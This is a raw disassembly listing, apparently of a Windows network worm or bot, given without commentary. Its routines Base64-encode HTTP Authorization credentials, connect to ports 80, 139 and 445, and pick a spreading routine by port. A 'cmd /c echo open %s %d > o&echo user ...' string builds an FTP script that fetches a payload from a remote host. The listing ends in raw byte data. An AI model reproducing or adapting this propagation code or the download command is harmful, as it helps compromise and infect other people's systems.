[ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 2690000h nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; ¼ db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 